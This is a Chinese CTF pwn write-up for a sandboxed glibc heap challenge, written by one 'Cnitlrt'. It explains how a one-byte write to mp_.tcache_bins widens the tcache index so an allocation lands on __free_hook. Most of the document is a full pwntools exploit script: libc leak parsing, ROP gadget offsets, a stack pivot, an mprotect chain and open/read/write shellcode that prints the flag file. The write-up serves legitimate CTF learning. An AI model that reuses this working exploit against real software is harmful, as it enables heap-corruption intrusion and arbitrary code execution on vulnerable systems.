分析
本题开局开了沙盒禁用了execve,给了libc,并且可以向任意地址写一个字节,这就给了我们很大的操作空间,然后会申请一个0x200的堆块,然后会根据我们输入的offset向堆块地址+offset出写入8字节,offset可以很大,然后会根据我们输入的size申请一个堆块并输入content,最后free掉堆块。
思路
在13:00的时候放了hint: 试试看打TCACHE_MAX_BINS
根据提示我们在源码中搜索TCACHE_MAX_BINS可以看到
从这里可以看到问题所在,TCACHE_MAX_BINS原值大小为0x40,假设我们将TCACHE_MAX_BINS(即mp_.tcache_bins)值劫持成一个很大的数,那在调用tcache_get根据tc_idx索引取堆块时就会超过原来的范围向下取堆块,假设entries[tc_idx]恰好又不为0此似乎便会将起返回
具体做法
首先开局的任意地址写我们可以将mp_.bins劫持成一个大数,此时可以认为tcache_tries数组已经扩大了范围,(实际上我们可以将其比喻成global_max_bins或许会比较好理解)然后我们向对应偏移处写入我们想要申请的地址,在后面申请堆块的时候便会根据索引取出我们的堆块,具体的offset和申请的size大小需要根据调试来进行调整,这里我们选择劫持free_hook进行栈迁移来orw出flag
完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
#context.log_level = 'debug'
binary = '2'
elf = ELF('2')
libc = elf.libc
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = "node3.buuoj.cn"
port = 29236
p = remote(host,port)
if DEBUG == 2:
host = ""
port = 0
user = ""
passwd = ""
p = ssh(host,port,user,passwd)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
ru("0x")
libc_base = int(p.recv(12),16)-libc.sym["_IO_2_1_stdout_"]
lg("libc_base",libc_base)
gadget = 0x0000000000034fd5#: mov rax, dword ptr [rdi + 0x20]; mov rbp, rdi; test rax, rax; je 0x34fe3; call rax;
poprdi = 0x0000000000026bb2+libc_base
poprsp = 0x0000000000032c5a+libc_base
poprax = 0x0000000000028ff4+libc_base
syscall = 0x0000000000066199+libc_base
pop3r = 0x00000000000e6ce5+libc_base
poprsi = 0x000000000002709c+libc_base
poprdx2 = 0x000000000011c3b1+libc_base
leaver = 0x000000000005a9a8+libc_base
free_hook1 = (libc_base+libc.sym["__free_hook"]) & 0xfffffffffffff000
addr = 0x1ea2d1+libc_base #mp_.tcache_bins
"""
gdb-peda$ parseheap
addr prev size status fd bk
0x557aab5d6000 0x0 0x290 Used None None
0x557aab5d6290 0x0 0x210 Used None None
gdb-peda$ find 0x557aab5d6000
Searching for '0x557aab5d6000' in: None ranges
Found 3 results, display max 3 items:
libc.so.6 : 0x7fbc017d82c8 --> 0x557aab5d6000 --> 0x0
mapped : 0x7fbc0180f110 --> 0x557aab5d6000 --> 0x0
[stack] : 0x7fff6e7291f0 --> 0x557aab5d6000 --> 0x0
gdb-peda$ x/gx 0x7fbc017d82c8+0x8
0x7fbc017d82d0 <mp_+80>: 0x0000000000000040
gdb-peda$
"""
gdb.attach(p)
#---------step1:write a bit anywhere-----
p.recv()
p.send(p64(addr))
p.recv()
p.send(p8(0xff))
#--------step2:hijack free_hook------
p.recv()
p.sendline(str(0x9e8))
p.recv()
p.send(p64(libc_base+libc.sym["__free_hook"]-0xa0))
p.recv()
p.sendline(str(0x1800))
payload = p64(0)+p64(pop3r)+p64(0)*2+p64(leaver)
payload += p64(poprdi)+p64(0)+p64(poprsi)+p64(free_hook1)
payload += p64(poprdx2)+p64(0x1000)*2+p64(poprax)+p64(0)
payload += p64(syscall)
payload += p64(poprsp)+p64(free_hook1)
payload = payload.ljust(0xa0,"\x00")
# print len(payload)
payload += p64(libc_base+gadget)
#--------step3:ORW-flag
p.recv()
p.sendline(payload)
payload = [poprdi,free_hook1,poprsi,0x2000,poprdx2,7,7,poprax,10,syscall,free_hook1+0x70]
sc = shellcraft.open("flag",0);
sc += shellcraft.read("rax",free_hook1+0x300,0x100)
sc += shellcraft.write(1,free_hook1+0x300,0x100)
# gdb.attach(p)
p.sendline(flat(payload).ljust(0x70,"\x90")+asm(sc))
p.interactive()
tips
其中mp._tcache_bins可以这样找